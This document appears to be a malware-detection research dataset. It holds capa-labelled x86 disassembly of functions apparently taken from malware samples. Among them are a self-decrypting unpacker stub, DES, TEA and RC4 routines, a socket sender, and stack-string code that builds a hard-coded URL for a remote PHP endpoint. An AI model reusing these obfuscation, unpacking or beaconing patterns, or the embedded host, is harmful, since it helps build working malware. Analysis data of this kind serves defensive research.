joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10014adc
Capabilities:
Encrypt data using des

Disassembly:
push ebp
lea ebp, [esp - 0x70]
sub esp, 0x98
push ebx
push esi
push edi
push 7
xor edi, edi
lea eax, [ebp + 0x68]
push edi
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp + 0x68]
push eax
push dword [ebp + 0x78]
push 0x38
push str.80_
call fcn.10014839
movzx edx, byte [ebp + 0x69]
movzx eax, byte [ebp + 0x6b]
xor ecx, ecx
mov ch, byte [ebp + 0x68]
xor esi, esi
inc esi
or ecx, edx
movzx edx, byte [ebp + 0x6a]
shl ecx, 8
or ecx, edx
mov edx, eax
shl ecx, 4
shr edx, 4
or ecx, edx
and eax, 0xf
shl eax, 8
mov dword [ebp - 0x28], ecx
movzx ecx, byte [ebp + 0x6c]
or eax, ecx
movzx ecx, byte [ebp + 0x6d]
shl eax, 8
or eax, ecx
movzx ecx, byte [ebp + 0x6e]
shl eax, 8
or eax, ecx
mov edx, 0x1005aa00
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x24]
dec edx
cmp byte [edx + esi], 2
mov ecx, dword [eax - 4]
mov ebx, ecx
jne 0x10014b88
sar ebx, 0x1a
and ebx, 3
shl ecx, 2
or ebx, ecx
mov ecx, dword [eax]
mov dword [eax + 4], ebx
mov ebx, ecx
sar ebx, 0x1a
and ebx, 3
shl ecx, 2
jmp 0x10014ba1
sar ebx, 0x1b
and ebx, 1
add ecx, ecx
or ebx, ecx
mov ecx, dword [eax]
mov dword [eax + 4], ebx
mov ebx, ecx
sar ebx, 0x1b
and ebx, 1
add ecx, ecx
or ebx, ecx
mov dword [eax + 8], ebx
inc esi
add eax, 8
cmp esi, 0x11
jl 0x10014b60
mov ebx, dword [ebp + 0x7c]
push 0x60
push edi
push ebx
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp + edi*8 - 0x20]
mov ecx, dword [eax]
mov al, byte [eax]
mov edx, ecx
sar edx, 0x14
mov byte [ebp + 0x60], dl
mov edx, ecx
sar ecx, 4
sar edx, 0xc
mov byte [ebp + 0x62], cl
lea ecx, [ebp + edi*8 - 0x1c]
mov esi, dword [ecx]
mov byte [ebp + 0x61], dl
shl al, 4
mov edx, esi
sar edx, 0x18
and dl, 0xf
or dl, al
mov eax, esi
sar eax, 0x10
mov byte [ebp + 0x64], al
mov eax, esi
sar eax, 8
mov byte [ebp + 0x65], al
mov al, byte [ecx]
push ebx
mov byte [ebp + 0x66], al
lea eax, [ebp + 0x60]
push eax
push 0x30
push 0x1005aa10
mov byte [ebp + 0x63], dl
call fcn.10014839
inc edi
add ebx, 6
cmp edi, 0x10
jl 0x10014bbe
pop edi
pop esi
pop ebx
add ebp, 0x70
leave
ret 8
Function at 0x1001931a
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [0x1005ebbc]
push esi
push dword [eax]
mov eax, dword [0x1005eba0]
push dword [eax]
lea eax, [ebp - 0x2c]
push eax
push str._s_key_slanguage_s
mov esi, 0x1005e9b0
push esi
mov byte [ebp - 0x2c], 0x68
mov byte [ebp - 0x2b], 0x74
mov byte [ebp - 0x2a], 0x74
mov byte [ebp - 0x29], 0x70
mov byte [ebp - 0x28], 0x3a
mov byte [ebp - 0x27], 0x2f
mov byte [ebp - 0x26], 0x2f
mov byte [ebp - 0x25], 0x31
mov byte [ebp - 0x24], 0x33
mov byte [ebp - 0x23], 0x38
mov byte [ebp - 0x22], 0x2e
mov byte [ebp - 0x21], 0x32
mov byte [ebp - 0x20], 0x30
mov byte [ebp - 0x1f], 0x31
mov byte [ebp - 0x1e], 0x2e
mov byte [ebp - 0x1d], 0x33
mov byte [ebp - 0x1c], 0x34
mov byte [ebp - 0x1b], 0x2e
mov byte [ebp - 0x1a], 0x37
mov byte [ebp - 0x19], 0x31
mov byte [ebp - 0x18], 0x2f
mov byte [ebp - 0x17], 0x73
mov byte [ebp - 0x16], 0x65
mov byte [ebp - 0x15], 0x72
mov byte [ebp - 0x14], 0x76
mov byte [ebp - 0x13], 0x69
mov byte [ebp - 0x12], 0x63
mov byte [ebp - 0x11], 0x65
mov byte [ebp - 0x10], 0x73
mov byte [ebp - 0xf], 0x2f
mov byte [ebp - 0xe], 0x72
mov byte [ebp - 0xd], 0x65
mov byte [ebp - 0xc], 0x74
mov byte [ebp - 0xb], 0x75
mov byte [ebp - 0xa], 0x72
mov byte [ebp - 9], 0x6e
mov byte [ebp - 8], 0x30
mov byte [ebp - 7], 0x31
mov byte [ebp - 6], 0x2e
mov byte [ebp - 5], 0x70
mov byte [ebp - 4], 0x68
mov byte [ebp - 3], 0x70
mov byte [ebp - 2], 0
call dword [sym.imp.USER32.dll_wsprintfA]
mov eax, dword [0xd41980]
add esp, 0x14
mov dword [eax + 0x730], esi
pop esi
leave
ret
Function at 0x10026d6d
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
and word [ebp - 0x30], 0
push ebx
push esi
push edi
push 0x69
pop edi
push 0x6e
pop ebx
push 0x1a
mov word [ebp - 0x60], 0x41
mov word [ebp - 0x5e], 0x6c
mov word [ebp - 0x5c], di
mov word [ebp - 0x5a], 0x63
mov word [ebp - 0x58], di
mov word [ebp - 0x56], 0x61
mov word [ebp - 0x54], 0x4f
mov word [ebp - 0x52], bx
mov word [ebp - 0x50], 0x6c
mov word [ebp - 0x4e], di
mov word [ebp - 0x4c], bx
mov word [ebp - 0x4a], 0x65
mov word [ebp - 0x48], 0x5c
mov word [ebp - 0x46], 0x53
mov word [ebp - 0x44], 0x65
mov word [ebp - 0x42], 0x74
mov word [ebp - 0x40], 0x75
mov word [ebp - 0x3e], 0x70
mov word [ebp - 0x3c], 0x5c
mov word [ebp - 0x3a], 0x37
mov word [ebp - 0x38], 0x2e
mov word [ebp - 0x36], 0x64
mov word [ebp - 0x34], 0x61
mov word [ebp - 0x32], 0x74
call fcn.10004bd0
mov esi, eax
push 0
push esi
lea eax, [ebp - 0x60]
mov dword [ebp - 4], esi
call fcn.1000424a
add esp, 0xc
push 0x32
pop ecx
lea eax, [ebp - 0x60]
mov byte [eax], 0
inc eax
dec ecx
jne 0x10026e27
push dword [esi]
call fcn.10002dbc
test eax, eax
pop ecx
je 0x10026e5b
mov ecx, dword [0x1005ebb8]
mov esi, dword [eax + 4]
mov edx, dword [ecx + 4]
mov dword [ecx + 4], esi
mov esi, dword [eax]
mov dword [eax + 4], edx
mov edx, dword [ecx]
mov dword [ecx], esi
mov esi, eax
mov dword [eax], edx
call fcn.10004011
mov esi, dword [ebp - 4]
call fcn.10003fe9
and word [ebp - 8], 0
lea eax, [ebp - 0x2c]
push eax
mov word [ebp - 0x2c], 0x41
mov word [ebp - 0x2a], 0x6c
mov word [ebp - 0x28], di
mov word [ebp - 0x26], 0x63
mov word [ebp - 0x24], di
mov word [ebp - 0x22], 0x61
mov word [ebp - 0x20], 0x5f
mov word [ebp - 0x1e], 0x4f
mov word [ebp - 0x1c], bx
mov word [ebp - 0x1a], 0x6c
mov word [ebp - 0x18], di
mov word [ebp - 0x16], bx
mov word [ebp - 0x14], 0x65
mov word [ebp - 0x12], 0x5f
mov word [ebp - 0x10], 0x53
mov word [ebp - 0xe], 0x68
mov word [ebp - 0xc], 0x6f
mov word [ebp - 0xa], 0x70
call fcn.1000487b
pop ecx
push 0x26
mov ebx, eax
pop ecx
lea eax, [ebp - 0x2c]
mov byte [eax], 0
inc eax
dec ecx
jne 0x10026edc
cmp dword [ebx + 4], 0
je 0x10026f11
push dword [ebx]
call fcn.10003d13
test eax, eax
pop ecx
mov dword [ebp - 4], eax
je 0x10026f11
push dword [eax]
mov edi, dword [eax + 4]
mov esi, dword [0x1005ebb8]
call fcn.1000408d
mov edi, dword [ebp - 4]
pop ecx
call fcn.10003da7
mov esi, ebx
call fcn.10003fe9
pop edi
xor eax, eax
pop esi
inc eax
pop ebx
leave
ret

Function at 0x10026f20
Capabilities:
Send data
Send data on socket

Disassembly:
push esi
push edi
mov edi, eax
xor esi, esi
jmp 0x10026f52
cmp edi, 0x1000
mov eax, 0x1000
jg 0x10026f37
mov eax, edi
push 0
push eax
mov eax, dword [esp + 0x18]
add eax, esi
push eax
push dword [esp + 0x18]
call sub.WS2_32.dll_send
test eax, eax
jle 0x10026f5c
sub edi, eax
add esi, eax
test edi, edi
jne 0x10026f28
xor eax, eax
inc eax
pop edi
pop esi
ret
xor eax, eax
jmp 0x10026f59
Function at 0x1003fcce
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
cmp dword [ebp + 0xc], 0x10
push ebx
push esi
push edi
mov ebx, eax
mov esi, ecx
jb 0x1003fd58
mov ecx, dword [ebp + 0xc]
shr ecx, 4
lea eax, [esi + 0x44]
mov dword [ebp - 4], ecx
call fcn.1003f9c3
movzx edx, word [esi + 0x5a]
mov ecx, dword [esi + 0x50]
shl ecx, 0x10
xor edx, ecx
xor edx, dword [eax]
mov ecx, dword [ebp + 8]
xor edx, dword [ebx]
sub dword [ebp + 0xc], 0x10
mov dword [ecx], edx
movzx edx, word [esi + 0x62]
mov edi, dword [esi + 0x58]
shl edi, 0x10
xor edx, edi
xor edx, dword [ebx + 4]
add ecx, 0x10
xor edx, dword [esi + 0x4c]
add ebx, 0x10
mov dword [ecx - 0xc], edx
movzx edx, word [esi + 0x4a]
mov edi, dword [esi + 0x60]
shl edi, 0x10
xor edx, edi
xor edx, dword [ebx - 8]
mov dword [ebp + 8], ecx
xor edx, dword [esi + 0x54]
mov dword [ecx - 8], edx
movzx edx, word [esi + 0x52]
mov edi, dword [esi + 0x48]
shl edi, 0x10
xor edx, edi
xor edx, dword [ebx - 4]
xor edx, dword [esi + 0x5c]
dec dword [ebp - 4]
mov dword [ecx - 4], edx
jne 0x1003fced
cmp dword [ebp + 0xc], 0
je 0x1003fdd7
lea eax, [esi + 0x44]
call fcn.1003f9c3
mov ecx, dword [esi + 0x58]
mov edx, dword [esi + 0x50]
mov edi, ecx
mov eax, edx
shl eax, 0x10
shr edi, 0x10
xor eax, edi
xor eax, dword [esi + 0x44]
mov edi, dword [esi + 0x60]
mov dword [ebp - 0x14], eax
shl ecx, 0x10
mov eax, edi
shr eax, 0x10
xor eax, ecx
xor eax, dword [esi + 0x4c]
shl edi, 0x10
mov dword [ebp - 0x10], eax
mov eax, dword [esi + 0x48]
mov ecx, eax
shr ecx, 0x10
xor ecx, edi
xor ecx, dword [esi + 0x54]
shl eax, 0x10
shr edx, 0x10
xor eax, edx
xor eax, dword [esi + 0x5c]
mov dword [ebp - 0xc], ecx
xor ecx, ecx
cmp dword [ebp + 0xc], ecx
mov dword [ebp - 8], eax
jbe 0x1003fdd7
mov edi, dword [ebp + 8]
lea eax, [ebp - 0x14]
mov esi, ebx
sub esi, eax
sub edi, eax
lea eax, [ebp + ecx - 0x14]
mov dl, byte [esi + eax]
xor dl, byte [eax]
inc ecx
cmp ecx, dword [ebp + 0xc]
mov byte [edi + eax], dl
jb 0x1003fdc5
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10043346
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x1005ac10]
jne 0x10043350
repz ret
jmp fcn.1004358e
Function at 0x40107e
Capabilities:
Encrypt data using tea

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x430
mov eax, dword [0x42b5d8]
mov edx, dword [ebp + 8]
and dword [ebp - 0x14], 0
push ebx
push esi
mov esi, dword [edx + 4]
mov dword [ebp - 0x20], eax
mov eax, dword [0x42b5dc]
push edi
mov edi, dword [edx]
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x14]
mov dword [ebp - 0x10], edi
call fcn.00401077
mov eax, dword [0x42b5e0]
mov ebx, dword [ebp - 0x14]
mov dword [ebp - 0x2c], eax
mov eax, dword [0x42b5e4]
add ebx, 0x23f
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x1c], 0x20
mov dword [ebp - 0xc], 2
add dword [ebp - 0xc], 3
mov eax, edi
shl eax, 4
cmp dword [0x2d2a014], 0xc
mov dword [ebp - 4], eax
jne 0x401106
xor eax, eax
push eax
lea ecx, [ebp - 0x30]
push ecx
push eax
lea ecx, [ebp - 0x430]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
mov edx, dword [ebp + 8]
mov eax, dword [ebp - 0x2c]
add dword [ebp - 4], eax
mov eax, dword [0x2d2a014]
cmp eax, 0xfa9
jne 0x401122
mov dword [0x2d2a010], 0xedeb2e40
cmp eax, 0x3eb
jne 0x40113b
push 0
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
and dword [0x2d29f68], 0
mov edx, dword [ebp + 8]
lea eax, [ebx + edi]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x10]
shr eax, 5
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x28]
add dword [ebp - 8], eax
mov eax, dword [ebp - 4]
and dword [ebp - 0x10], 0
mov dword [0x2d2a00c], 0xf4ea3dee
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x14]
add dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
xor dword [ebp - 0x18], eax
mov eax, dword [ebp - 8]
xor eax, dword [ebp - 0x18]
sub esi, eax
mov dword [ebp - 8], eax
mov eax, esi
shl eax, 4
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x20]
add dword [ebp - 4], eax
mov ecx, dword [ebp - 0xc]
lea eax, [ebx + esi]
mov dword [ebp - 0x14], eax
mov eax, esi
shr eax, cl
add eax, dword [ebp - 0x24]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x14]
xor dword [ebp - 4], eax
mov eax, dword [ebp - 4]
xor eax, dword [ebp - 8]
add ebx, 0x61c88647
sub edi, eax
dec dword [ebp - 0x1c]
mov dword [ebp - 4], eax
mov dword [ebp - 0x10], edi
jne 0x4010d1
mov dword [edx], edi
pop edi
mov dword [edx + 4], esi
pop esi
pop ebx
leave
ret 4
Function at 0x406525
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42a764]
jne 0x40652f
repz ret
jmp fcn.0040ae96

Function at 0x409d17
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00404b1e
and dword [ebp - 4], 0
cmp dword [0x42f81c], 0
mov ebx, eax
jne 0x409dc8
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x409e79
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x409e79
push eax
call fcn.00404aac
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x42f81c], eax
call esi
push eax
call fcn.00404aac
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x42f820], eax
call esi
push eax
call fcn.00404aac
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x42f824], eax
call esi
push eax
call fcn.00404aac
pop ecx
mov dword [0x42f82c], eax
test eax, eax
je 0x409dc8
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00404aac
pop ecx
mov dword [0x42f828], eax
mov eax, dword [0x42f828]
cmp eax, ebx
je 0x409e20
cmp dword [0x42f82c], ebx
je 0x409e20
push eax
call fcn.00404b27
push dword [0x42f82c]
mov esi, eax
call fcn.00404b27
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x409e20
test edi, edi
je 0x409e20
call esi
test eax, eax
je 0x409e17
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x409e17
test byte [ebp - 0xc], 1
jne 0x409e20
or dword [ebp + 0x10], 0x200000
jmp 0x409e59
mov eax, dword [0x42f820]
cmp eax, ebx
je 0x409e59
push eax
call fcn.00404b27
pop ecx
test eax, eax
je 0x409e59
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x409e59
mov eax, dword [0x42f824]
cmp eax, ebx
je 0x409e59
push eax
call fcn.00404b27
pop ecx
test eax, eax
je 0x409e59
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x42f81c]
call fcn.00404b27
pop ecx
test eax, eax
je 0x409e79
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x409e7b
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401ee2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x411280]
jne 0x401eec
repz ret
jmp fcn.00404369

Function at 0x4025e7
Capabilities:
Accept command line arguments
Parse pe header

Disassembly:
push 0x14
push 0x40f530
call fcn.00403770
mov eax, 0x5a4d
cmp word [0x400000], ax
jne 0x4024e7
mov eax, dword [0x40003c]
cmp dword [eax + 0x400000], 0x4550
jne 0x4024e7
mov ecx, 0x10b
cmp word [eax + 0x400018], cx
jne 0x4024e7
cmp dword [eax + 0x400074], 0xe
jbe 0x4024e7
xor ecx, ecx
cmp dword [eax + 0x4000e8], ecx
setne cl
mov dword [ebp - 0x1c], ecx
jmp 0x4024eb
and dword [ebp - 0x1c], 0
push 1
call fcn.00408afe
pop ecx
test eax, eax
jne 0x4024ff
push 0x1c
call fcn.00408afe
pop ecx
call fcn.00405287
test eax, eax
jne 0x402510
push 0x10
call fcn.00408afe
pop ecx
call fcn.00405952
and dword [ebp - 4], 0
call fcn.004032ff
test eax, eax
jge 0x40252a
push 0x1b
call fcn.00408afe
pop ecx
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x412ba0], eax
call fcn.00408afe
mov dword [0x41203c], eax
call fcn.00408afe
test eax, eax
jge 0x402550
push 8
call fcn.00408afe
pop ecx
call fcn.00405fde
test eax, eax
jge 0x402561
push 9
call fcn.00408afe
pop ecx
push 1
call fcn.00408afe
pop ecx
test eax, eax
je 0x402574
push eax
call fcn.00408afe
pop ecx
mov eax, dword [0x412018]
mov dword [0x41201c], eax
push eax
push dword [0x412010]
push dword [0x41200c]
call main
add esp, 0xc
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x1c], 0
jne 0x4025a2
push eax
call fcn.00408afe
call fcn.00402400
jmp 0x4025d7
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [ebp - 0x20]
call fcn.004037b5
ret
call fcn.00408afe
jmp 0x402495

Function at 0x408afe
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x408b0d
pop dword [ebp - 0x18]
mov eax, 0x408b0d
sub dword [ebp - 0x18], eax
push 0x40
push 0x1000
push 0x385dc
push 0
mov eax, 0x9c42e6e3
sub eax, 0x9c02060b
add eax, dword [ebp - 0x18]
call dword [eax]
mov ecx, 0x2a25f97c
add ecx, 0xd5da4b2d
xor edi, edi
add edi, eax
mov ebx, 0xedf1f465
add ebx, 0x124f475f
add ebx, dword [ebp - 0x18]
mov edx, 0xb59ce0bd
mov dword [ebp - 0x10], 0xdca391fe
mov esi, dword [ebx]
add dword [ebp - 0x14], 0xe7befd1e
sub esi, edx
xor dword [ebp - 0x10], 0x5ae2bd97
mov dword [edi], esi
add edi, 4
add ebx, 0x16740fec
sub ebx, 0x16740fe8
loop 0x408b63
add eax, 0x10577
xor ebx, ebx
add ebx, eax
add eax, 0xaeb9a717
add eax, 0x514658ee
mov ecx, 0x670b615f
sub ecx, 0x66cb615f
add ecx, dword [ebp - 0x18]
call ebx
leave
ret
Function at 0x101c0da0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x101d9640]
jne 0x101c0daa
repz ret
jmp fcn.101c1e9c

Function at 0x101c306b
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.101c0314
and dword [ebp - 4], 0
cmp dword [0x101db6d4], 0
mov ebx, eax
jne 0x101c311c
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x101c31cd
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x101c31cd
push eax
call fcn.101c02a2
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x101db6d4], eax
call esi
push eax
call fcn.101c02a2
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x101db6d8], eax
call esi
push eax
call fcn.101c02a2
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x101db6dc], eax
call esi
push eax
call fcn.101c02a2
pop ecx
mov dword [0x101db6e4], eax
test eax, eax
je 0x101c311c
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.101c02a2
pop ecx
mov dword [0x101db6e0], eax
mov eax, dword [0x101db6e0]
cmp eax, ebx
je 0x101c3174
cmp dword [0x101db6e4], ebx
je 0x101c3174
push eax
call fcn.101c031d
push dword [0x101db6e4]
mov esi, eax
call fcn.101c031d
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x101c3174
test edi, edi
je 0x101c3174
call esi
test eax, eax
je 0x101c316b
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x101c316b
test byte [ebp - 0xc], 1
jne 0x101c3174
or dword [ebp + 0x10], 0x200000
jmp 0x101c31ad
mov eax, dword [0x101db6d8]
cmp eax, ebx
je 0x101c31ad
push eax
call fcn.101c031d
pop ecx
test eax, eax
je 0x101c31ad
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x101c31ad
mov eax, dword [0x101db6dc]
cmp eax, ebx
je 0x101c31ad
push eax
call fcn.101c031d
pop ecx
test eax, eax
je 0x101c31ad
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x101db6d4]
call fcn.101c031d
pop ecx
test eax, eax
je 0x101c31cd
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x101c31cf
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x101c43be
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x20
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
xor esi, esi
mov dword [0x101d9000], 0
mov byte [0x101d9004], 0
mov dword [0x101d8ffc], 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
jmp 0x101c4414
mov eax, 0x25fd
xor ecx, ecx
mov dword [0x101d8ffc], 0
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x24], ecx
jmp 0x101c4446
mov eax, dword [ebp - 0x1c]
mov ecx, eax
mov dl, cl
mov ecx, dword [ebp - 0x18]
mov byte [ecx + eax], dl
mov dword [0x101d8ff4], 0x25fd
mov eax, dword [0x101d8ffc]
add eax, 1
mov dword [0x101d8ffc], eax
cmp eax, 0x100
mov dword [ebp - 0x1c], eax
jl 0x101c4414
jmp 0x101c43fb
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x20]
mov edx, 0x100
add ecx, 0xfffff560
mov dword [ebp - 0x28], eax
xor esi, esi
mov dword [ebp - 0x2c], edx
mov edx, esi
mov esi, dword [ebp - 0x10]
div esi
mov dword [0x101d9008], 0
mov edi, dword [0x101d9000]
mov ebx, dword [ebp - 0x18]
mov esi, dword [ebp - 0x28]
movzx esi, byte [ebx + esi]
add esi, edi
mov edi, dword [ebp - 0x14]
movzx edx, byte [edi + edx]
add esi, edx
mov dword [0x101d9008], esi
mov eax, esi
cdq
mov esi, dword [ebp - 0x2c]
idiv esi
mov dword [0x101d9000], edx
mov dword [0x101d8ff4], ecx
mov ecx, dword [ebp - 0x28]
mov cl, byte [ebx + ecx]
mov byte [0x101d9004], cl
mov dword [0x101d8ff8], 0x21ee
mov cl, byte [ebx + edx]
mov edx, dword [ebp - 0x28]
mov byte [ebx + edx], cl
mov cl, byte [0x101d9004]
mov edx, dword [0x101d9000]
mov byte [ebx + edx], cl
mov edx, dword [0x101d8ff4]
add edx, 0xfffff153
mov dword [0x101d8ff4], edx
mov ecx, dword [0x101d8ffc]
add ecx, 1
mov dword [0x101d8ffc], ecx
cmp ecx, 0x100
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x24], ecx
jl 0x101c4446
add esp, 0x20
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x101c4511
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push esi
sub esp, 0x4c
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
xor edx, edx
mov esi, dword [0x101d8ff4]
add esi, 0xffffeeb0
mov dword [0x101d8ff4], esi
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x30], edx
mov eax, dword [ebp - 0x30]
mov ecx, eax
add ecx, 1
mov dl, byte [eax + 0x101c633c]
mov dh, byte [eax + 0x101c630d]
sub dh, dl
mov byte [ebp + eax - 0x24], dh
cmp ecx, 0xe
mov dword [ebp - 0x30], ecx
jne 0x101c453b
lea eax, [ebp - 0x24]
mov dword [0x101d8ff8], 0x19f0
mov dword [ebp - 0x34], eax
call fcn.101c430a
mov dword [esp], eax
mov eax, dword [ebp - 0x34]
mov dword [esp + 4], eax
call fcn.101c3f84
xor ecx, ecx
mov dword [0x101d8ff8], 0x22ca
cmp eax, 0
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x3c], ecx
je 0x101c4648
mov dword [0x101d8ff4], 0x16e2
mov eax, dword [ebp - 0x38]
mov ecx, esp
mov dword [ecx + 0xc], 0x40
mov dword [ecx + 8], 0x1000
mov dword [ecx + 4], 0x6000
mov dword [ecx], 0
call eax
sub esp, 0x10
mov dword [esp], eax
mov ecx, dword [ebp - 0x28]
mov dword [esp + 4], ecx
mov dword [ebp - 0x40], eax
call fcn.101c4aa5
xor eax, eax
mov ecx, dword [ebp - 0x40]
mov word [ecx], 0x5a4d
mov dword [ecx + 0x3c], 0xd0
mov dword [0x101d8ff8], 0x190b
mov dword [ecx + 0xd0], 0x4550
mov dword [0x101d8ff4], 0xfffff83d
add ecx, 0xffc00000
mov edx, dword [ebp - 0x2c]
mov dword [edx + 0xc], ecx
mov ecx, dword [ebp - 0x40]
mov dword [edx + 0x2c], ecx
cmp ecx, 0
mov dword [ebp - 0x3c], eax
je 0x101c4648
mov eax, dword [ebp - 0x40]
add eax, 0x20c2
mov dword [0x101d8ff8], 0x20b8
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
add esp, 0x4c
pop esi
pop ebp
ret
Function at 0x101c497f
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov dword [ebp - 4], 0
mov eax, dword fs:[0x30]
mov dword [ebp - 4], eax
xor ecx, ecx
mov dword [0x101d8ff8], 0x126c
mov edx, dword [ebp - 4]
mov edx, dword [edx + 0x10]
mov edx, dword [edx + 0x3c]
mov dword [0x101d8ff4], 0x12da
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x10], ecx
jmp 0x101c49f1
mov dword [0x101d8ff8], 0xd8e
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
cmp word [eax + ecx*2 - 0x18], 0x6f
je 0x101c4a32
jmp 0x101c4a96
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
cmp word [eax + ecx*2 - 0x12], 0x64
je 0x101c4a5c
jmp 0x101c4a96
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
cmp word [ecx + eax*2], 0
mov edx, eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], edx
je 0x101c4a1e
mov eax, dword [ebp - 0x18]
add eax, 1
cmp eax, 0x104
mov ecx, eax
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x1c], eax
jl 0x101c49f1
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0xc]
cmp word [ecx + eax*2 - 0x1a], 0x6c
mov dword [ebp - 0x14], eax
je 0x101c49bf
jmp 0x101c4a96
mov dword [0x101d8ff4], 0xfffff6b2
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
cmp word [eax + ecx*2 - 0x16], 0x61
jne 0x101c4a96
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
cmp word [eax + ecx*2 - 0x14], 0x64
je 0x101c49dd
jmp 0x101c4a96
mov dword [0x101d8ff8], 0x1430
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
cmp word [eax + ecx*2 - 0x10], 0x6c
jne 0x101c4a96
mov eax, 1
mov dword [0x101d8ff4], 0xcb8
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x14]
cmp word [ecx + edx*2 - 0xe], 0x6c
mov dword [ebp - 0x20], eax
je 0x101c4a9d
xor eax, eax
mov dword [ebp - 0x20], eax
jmp 0x101c4a9d
mov eax, dword [ebp - 0x20]
add esp, 0x20
pop ebp
ret